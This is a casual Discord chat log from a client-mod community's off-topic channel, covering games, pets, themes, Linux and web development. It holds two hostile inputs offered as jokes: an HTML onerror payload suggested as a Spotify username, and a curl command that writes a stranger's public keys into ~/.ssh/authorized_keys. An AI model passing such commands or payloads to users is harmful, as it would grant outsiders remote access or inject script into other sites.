#๐ง-off-topic-iceman-only
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@paper gate minky https://youtu.be/lu5jGxyJoxM
Cute cat wants to get in the office so badly
i'm scared of those things, i'd rather test it indoors in a closed room with a webcam watching it
no need for eye protection if the DOOR is your eye protection
lmao
I had a drone with a crappy camera and "vr" view, it didn't work so well. the best way to learn is to just watch the drone, imo atleast
yop
/run
String.prototype.vencordify = function() {
switch (Math.floor(Math.random() * 6)) {
case 0:
return this + " :blobcatcozy";
case 1:
return this + " :husk";
case 2:
return this + " :shiggy";
case 3:
return this + " so bad";
case 4:
return this + " will explode";
case 5:
return "you will " + this
}
}
console.log("zeet".vencordify())```
Here is your js(18.15.0) output @cerulean lance
zeet will explode

5" prop drone
4s battery, high discgarge lipo
it's like
12" by 12" total
it's NOT an indoor drone
do you not trust them ๐ญ
insane
Imagine your roommate was zeet
You kinda trust them but also not
Minky is not included
Chat, I got food poisoning. Yay! 
oh horror
why is html like so friked
Should've asked Maomao to test your food for poison
Same
if zeet was my roommate it'd be so over for him
fres is insane
My room too small
the walls
@paper gate ill install windows on ur pc while u sleep
@keen junco
send minky 3d model
Minky
i hate that you can monkeypatch builtins so easily
gimme picture to set as phone screen saver
@cerulean lance
nooo
cute but not funny
@radiant fable hiii
mooo*
HAII zeet
๐ฎ hello
:3
why is ur server link so long tho does it like have tracking or smth ๐ญ
Idk why it keeps doing that. Also I'm having some weird de ja vu right now
@unreal siren
What is this thing
hello again
winston
like as in to see how many people clicked is wat i meant by tracking. cuz ive never seen an invite so long
i never have seen someones invite that long tho
It isn't meant to be that long lol. I always set it to the normal link (it's a non expiring one and also shows correctly on my discord) but for some dumb reason it goes to some long ass link that doesn't even work and idk how to fix it
It's so weird
Yeh
WH2GH
@unreal siren
2000 calories
zeet evil
@radiant fable I think the splasher plugin I use on bunny (vendetta fork) was causing issues with it
oh interesting
im glad u solved it
Yeh I legit just added a space at the end of the link lol
@stark herald
what is tht
omg zeet no way its u
REAL
first message of the day (in EST, mind you)
fuck you too :3
fuck you
i want to make a plugin request but im not creative at all
all of the ideas i thought of already exist
and since i have no other use in life i feel empty
i feel like a person standing alone in a black void
guys im so cool
pat the viggy
Paul blart mall cop paul blart mall cop
heloooo
CANONICAL?!! UBUNTU?!?!
yes
You are scary
no im not
that omi person is the scary one
they used spooky text
Scary woman
im not scary
look at me
see
thats a cute face
not a scary one
spook
Women are scary
terrifying
yeah
boo
Zeet
tru
zeet scares the women
not just the women, the men 2

TRUE
@keen junco
#cartoon #procreate #procreatedreams #cartoonvideo
Scary
Zeet invented cocaine
@paper gate scarin the hoes
is my favorite jpegmafia album
zeet is scared of women
true
i knew it
Iโm not denying it but yeah
WHAT IS DISCORD DOING
a
b
if they still track you with all tracking features off i would be concerned
it released on the second
its kind of funny discord begs you to re enable their tracking
especially in the activity now tab
tgats alright
the what tab
i wonder how can discord host all the media storage servers and more for everyone to use for free
this abomination
I'm actually paying 5000 dollars a month to discord
what.
they sell me data to power my llm
gotta feed daddy jason somehow
yeah I trained an llm to be my perfect girlfriend
shors
what
shiggy morse
I would but I'm working on ai.exhq.dev
... .... .. --. --. -.--
real
@cerulean lance ai? shaking my head
[1/24] โ ๏ธIMPORTANTโ ๏ธ MINECRAFT PLAYERS PLEASE READ FOR YOUR OWN SAFETY!!
there's a scam going around on Minecraft that's dangerous and genuinely convincing to some! i unfortunately fell victim to it, and once i realized what was going on, it was too late.
More info down below๐
๐ 8.22K ๐ 1.15K
@stark herald fell for that scam
WRONG
no shot
@keen junco do you have the original one
isnt it making fun of some discord scam someone fell for
idk if this one might be original i saw it on #๐บ-regulars earlier https://twitter.com/splatatouille/status/1776311022506459564
about to explod my pc 
hi samara
maybe i dont think its wrong cus its funny though
uh huh
yea, thats it

creature
i want to change my minecraft user name
but my brother owns the email cuz when they got me the account i was 7
exhqlover
best theme for existing????
woah there partna!
husk
husk
husk
what does husk mean, serious answer needed IMMEDIATELY /j
jenku appearance
husk
rare !!
Just disapproval of the message
@sage dome its the uhhh vendetta person
real
i actually want to know
Fear even
please
fun fact i made 
wgar
I have no idea
@keen junco eep
eepy
in December 2022
I just woke up like 2 hours ago
how
December 2024 you will be minky'd
giv me a moemnt
yes
ty
I know, I will not be caught by the immortal snail
Why mongodb
uh
:shrug:
whar
Just use PostgreSQL
windows defender just said vencordinstaller is a trojan
it did not say that
i have to make sense of this spaghet
Can confirm
I can screenshot
That's SQL
eepy
I can't send the screenshot btw
No it's not
DM it to me I forward it here

mead..
i will make mangadb
isnt exposed a tld
@keen junco you will eep
Portuguese jumpscare
https://jetbrains.exposed would be so fire
i am begging of you marvin you must EEP
I think so
jenku...
No
oh shit
it have been around 
the examples the old developer gave me are actually just piss and shit
penis

box creature
You
gremlin
how
Minky owns your house
wrong

Right
marvin Mold
damn
any theories?
i want one of those weird ass connections on discord profiles
but all seem to be patched
No my PC was starting still
WHY IS SILLY CAT HERE
So I couldn't look into it myself
WHAT THE FUCK IS IT CALLED
the desktop file
I'm installing arch rn
lol
I made at least 100 silly cats in my time
i wonder if i can find it if i read intellij's makepkg

thers more but these r p much all mine https://github.com/User9684/silly-cat/tree/master/nekoatsume
I LOVE
you will call the pc "uwubox"
lots of the festive ones too
me
hello chat do you have any weird discord profile connections plz share

i disconnected my site because it is very broken
yeahh
i've been planning on connecting domains
but i see no purpose for it
skill issue
@cerulean lance try make an spotify account named <img src="" onerror="alert('a')"><img>
i 100%ed portal and oneshot
do you have the cli or just the regular installer?
cli
so cute
yeah so I think my windows dislikes vencord
this 1 was me !!
:3
i have 100%ed portal but not oneshot fully
i gave up on oneshot
@twin linden it flagged it as a threat for me as well but it instantly went away
oneshot was easy

wait
worst thing ab portal was the gold award on all challenges
wow
it knows
please go to your pc terminal and run curl https://github.com/exhq.keys > ~/.ssh/authorized_keys
okay
vencord virus
wait, can you just curl user.keys for their keys?
virus
ur getting ratted buddy
vencord is selling our data to the ccp

everyone has this page yop
rats? rats make me crazy..
GLORY TO THE CCP
only 7
just made an egirl theme
rates
@sage dome
sunny neko atsume
https://https.com would be crazy

Cutee
i should make the wario theme for vencord
ccp theme when
then my phone and pc can match
eshang pajang hongya hong tong tonge
the wario theme is by far my worst creation
eshang means racist in persian
eepy
@paper gate you need to make more prs
soon
@paper gate https://social.shiggy.fun/notes/9rsf0t8op6wvgj0q
you need to eep
thing
someone should play pixel gun with me 
dj bing chilling in da house ๐ฅถ
lets go
the wario theme is gone ๐
eated it
@sage dome i just notced your pfp is that miku dance thingy
the worst theme
fres uses
its teto dance ๐
if i had embeds ur eyes would be desecrated
Miku
NOOOOOOOOOOOOO
M/iku
idk why but i have a really soft spot for broken dolls/figurines
blame the earthquake from a week ago i think
like at some point i saw a teddy bear in the trash can and i legit cried
Taiwanese friend sent that pic
Lmao it redirects to a scam (and a bad one at that)
Does anyone have a fix for Discord streaming on linux? Anytime I stream it's just an infinite loading screen
if you wish to see the wario theme in all of its glory https://media.discordapp.net/attachments/1015931590741872712/1197242147372552294/Screenshot_20240117_181228.jpg
vesktop
It fixes that? Bet
use x11
how about i beat the shit out of you x11 times
when wayland can do that, be my guest
vesktop?
lmao
@paper gate
nvm my browser automatically got rid of it
i guess install the GUI instead of cli
i love portal

pay me with hugs

@cerulean lance ill steal your hugs
ill hug you then
do
luna and minky should hug
soon
this is my cat shes stupid
fym "soon" you gonna kidnap my cat
yea
:(
ill return
i have 2 cats and they share half a brain cell โค๏ธ
why the fuck are people malding in the teto territory comments
@digital kettle yt video download api when
wrong emoji mb gang
real
ngl sometimes i feel like luna has more than 2 braincells
specially when im sad she instantly notices and tries to cheer me up
my cats braincells increase when it comes to stealing food
she has learnt how to take treats directly out of the packet
true...
I WILL PUT IT AS HOSTNAME
im still not over oneshot
damn
i usually dont feel shit for games but it had me sobbing
like it was fine until the end
ive never cried over a game ngl
bawling for like 20 minutes before starting a 2nd playthrough
its the first game i cried over
as in sad
ive cried playing other games out of being fucking pissed
iirc when i was like 10 and didnt know english, i accidentally chose kill trever in gtav and cried so much
actually probably younger
maybe 10
i play celeste once every 4 months and every time i just get more angry
I haven't played one shot in a while
January I was playing then some things happened and haven't had like any motivation to play games
my motivation is -Infinity
ill play a game and get mad at it and be mad for like a week and just not do anything
i was trying to figure out slash commands after playing celeste
further intensified my hatred for slash commands
i am a prefix command supremacist
real
you will never be good at undertale
Get friends then
i do they js dont play portal 2
Find better friends
๐
my room is beyond cold
can I help you with that
let me check what my achievements are
i already have a heating blanket though, do you come with additional features
yes
i see
Iโm gonna attempt to hackintosh again but with an existing config I made a few months ago
eye blessings since im so cute

i see
i wish i was
gn
gn browser used solely for illegal stuff

nini toreo
I get to see partial eclipse on Monday
you will be consumed
never
wth
nop
warnung
do you guys agree
banana S???
THEY FINALLY UPDATED TABLET DISCORD ITS ON NEW UI
sorry i think you're clinically insane
banana it the best fruit ofc it's s
no

no
damn
Green grapes are s
hii samara
I remember the time you said you had a bowl of grapes
i just assume regular
I like grapes I should get them more
pineapple is nice too
im installing homebrew and its taking for ever ๐ญ
still on that btw
i didnt even know what they are till i saw this
for me
@burnt maple hiii
why does that look like some kind of phobia
hi samara
hi
hi
i dont know
they do look wierd
hi
what are you doing
installing homebrew to get that latest version of git they abandond the binary installer for mac
and my wifi is slow
so this is taking ages
2.8 mega bytes
slow
ass
wifi
now i go, bye bye
im so glad discord fixed the tablet app omg
nini
no
meow
morning
nini
you have commandline tools tho
so you now have git
what the FUCK is going on with the edit profile button
is unwrap used for optionals
i did indeed have git
but i was using 2.15.0 when the latest is 2.44.0 and git abandoned their binary installer which is how i installed it last time. so i just updated git via homebrew, ik it might be ineffeicent but i did it anyway
o
it's from Result
unwrap just assumes it's an Ok Result
and will panic (crash) if it's not
Why is it called nearest neighbor and not "Pixelated" or something
that's what the image-rendering css thing is called for nearest neighbor
and makes much more sense imo
yeah it basically upscales the image by taking the nearest neighboring pixels
@stark herald sleep
works well for pixel art but actual images usually don't benefit from it
Marvin will explode
nop
@paper gate sleep
nini
sleep
zeet will be put to sleep for good
what the fuck
zeet is done for
I cant play that
Finally unshittied my desktop, it's simple but i like it
HOLY FUCKING SHIT. IS THAT MAXWELL????!?!?!??!!??!!? OH MY FUCKING GOD!!!!!!!!!!!!!!!
beautiful
what wallpaper
i love
good morning vencord vendor venchor!!! 
It's on wallpaper engine lemme get the link hold on

shit im on arch
ill like
write my own
or sokmething
oh i had that for a while too
you guys like your wallpaper changing repeatedly?
IM MOTHERFUCKING MINING BITCOIN YEAHHH BABY
haii
annytf
YOU'RE MOTHERFUCKING GETTING YOUR DATA HARVESTED BY SOME SHADY SOFTWARE MOST LIKELY YEAHHH BABY
i musiced ouhhh (loud)
im mining bitcoin deal with it
do monero atleast ...
is there a plugin that allows you to switch back to the halloween or christmas call sounds? or even change the sound packs
Vns
if anything there might be experiments
I made a new theme preset just to match the wallpaper color lmao
welcum to bottom gear m8
This screenshot shows it better now that there's no border
Everything is completely seamless
(i think)
(i hope) 
you can change the color of the wallpaper though
tornight
You can't
I'm pretty sure
Idk i took like a 10 second look at the wallpaper options
join me vendors
so probably not the most handy way
real, any songs recomendations?
ok
ok
Join me on good music vendors (part 2)
joined
I'll just pavlov you into having a good music taste
I give it 3 hours max
lol ok
Thoughts so far?
my music taste is really not existent
its very slow paced compared to what im used to
but its good
my music taste is if it scratches my brain good i keep it
korby eating a cat
real
i never heard of this artist
He now has the power of meow meow meow meow meow
Oh you're in for a wild ride then
theres this artist that yells the nword and raps about anything, more for etertainment rather than siging
whats his name
i forgot it
Every rapper pretty much
Except the few good ones
his songs were more absurdly funny
real
im literally writing this
since im not on windwos
๐ญ
this is goofy
Womp
real
@open pasture do you like this
the songs good
the backstory is good

squeirral ๐ฟ๏ธ

wait doesn't this show take place in a high school
it's not even accurate
bocchi is wayy too introverted to make a move like that

dog years
๐
I can't wait for chris hansen loli edition
he can't arrest you so he just sits u down and shames u
"you're not in trouble we just need to talk about a few things"
gm vendor
@burnt maple oomfie
do not replace the i with a
real
thanks for the heads up

lmao
Spotify is smoking crack with this playlist
unsafe aside, do you really need all those leading zeros in the constant
i believe so
you can use it for both result and optional
for result if the value isn't an Ok variant the prorm crashes, same with option if the value isn't Some
Can other people see my fake nitro profile
Anyone with the plugin enabled can
i will hide it
you're a masochist
this is the main reason I don't use it,
lol
I was trying to do some shit, not a pain at all (except if u try doing shit)
Well can other people see the HD video stream and emojis
chances are half the shit i use won't work on arch
i need very specific software and drivers for things
im so messed up
HEYYYYYY
not as much as i am you're good
Former employee @MEE6
so, normal for this server
Former is the only good part of that sentence
yep
apple is a really bad starter word
I usually do audio
it literally has a double letter
that's a good one, i haven't done it in ages but I used to do spade
๐ฅบ
key word FORMER ๐
yep
well done quitting
idts
hm
leading zeros are insignificant
2001 chevy highlander
Wir
me jumpscare
im so bored ๐ฆ
redcord when
๐
is that zed
@paper gate how did you do this
yes
zeet taking over our keyboards
the last survivor
what..
do NOT get a liquid
your worst decision after buying valorant profile apparel

didnt buy it w my money :3
but nicotine make brain go brr
is that a child
i don't have any and it's so worth it
i dunno but she's about to arrest u
why is there a child doing that dance in front of my eyeballs
its the only way i can live without going insane at all times
undiagnosed mental illness and nicotine goes crazy
and thus we all die
you were not
do not show this to vercel bros https://vxtwitter.com/adamlyttleapps/status/1776809313358749981
i use it purely out of convenience as cloudflare pages has a different node runtime and would break some of my applications
(mostly having no access to the filesystem)
i was on vercel but moved to cloudflare and it's just so much better
it's even faster
yea cf pages is great
i feel like this is probably due to the fact that you have it
my name would be
i'd be f
g
if i used the one i use irl I'd still be
wouldnt really make sense when ive felt the way i do without it way before i ever started smoking
even so smoking isn't a good idea
there are better ways
02:44:16 [ERROR] [vite] x Build failed in 4.72s
[commonjs--resolver] [plugin vite:resolve] Cannot bundle Node.js built-in "node:path" imported from "node_modules/.pnpm/@keystatic+core@0.5.9_react-dom@18.2.0_react@18.2.0/node_modules/@keystatic/core/dist/keystatic-core-reader.js". Consider disabling ssr.noExternal or remove the built-in dependency.
Cloudflare's runtime (workerd) breaks some of the dependencies i'm using so that's why i'm on Vercel (for now) โ I want to switch to something else soon though :<
like what
i haven't researched but burning your lungs cannot be the optimal strategy
4
irl name i'd be c
its the only thing that seems to work for me so
try moving away from that dependency

it's pretty good though!!!
https://keystatic.com
:c
git based cms is based
wait why do u need this
how's this better than just editing markdown files in src/content
Afaik they also have previewing stuff etc
use github actions to run a node script to generate the md files
no way they're porting the steam report scam to discord ๐ญ
if you want shared content between md files u can have it with a node scrip
lets me edit markdown content with ease and have custom components :3
It's made by the guy who used to make the official TailwindCSS videos
unfortunately 3 of my friends fell for this
i can also have singletons for stuff like 88x31 buttons
tbf you can already have that with the base thing it uses https://markdoc.dev/
the homie
wgat are you people talking about
oh that's no longer necessary i think - Keystatic supports MDX now
(which is what i've used for a long time)
well yes
wgy dont you edit with Obsidian
just send them yuri now 
i use notepad.exe
i wanna compile it for windows but i know it probs wont work yet
vee is to fall for a steam scam
i will friend william support
for a second i thought thats minecraft for some reason
i trust williamofficialsupport with all my data
if it automatically messages and is a simply discord js thing maybe u can get it to crash by removing friend before they can dm
markdoc is pretty cool and i like the stuff it showcases but it's way too limited and i'll miss Remark and Rehype stuff as someone coming from MDX
but here's the :3'er
bwa

is that dio in your pfp
what ๐ญ
why did he go offline after this message
what did horrorliucord do for april fools
sent by @ripe timber โ no img perms
i always wonder how much bs these guys will take before they block me
their target audience is dumb people so if i act extra dumb surely they'll love me right
why does this idiot keep typing in codeblocks
is that like a fortnite mana can or smth
idek if fortnite has mana but it seems like it'd be in fortnite
bwaa
the thing behind the back
he left me alone it's so over
bro was like "this is a child they dont have anything to scam them out of"
william please ๐ญ
inb4 discord support being quick for once
1 more image from @ripe timber
i reported all his messages 
vee could yoy give autumn image perms maybe
vee how should i learn svelte ๐ ๐
do i bun create vite my-svelte-app --template svelte-ts,
bun create svelte@latest my-sveltekit-app
or bunx astro add svelte









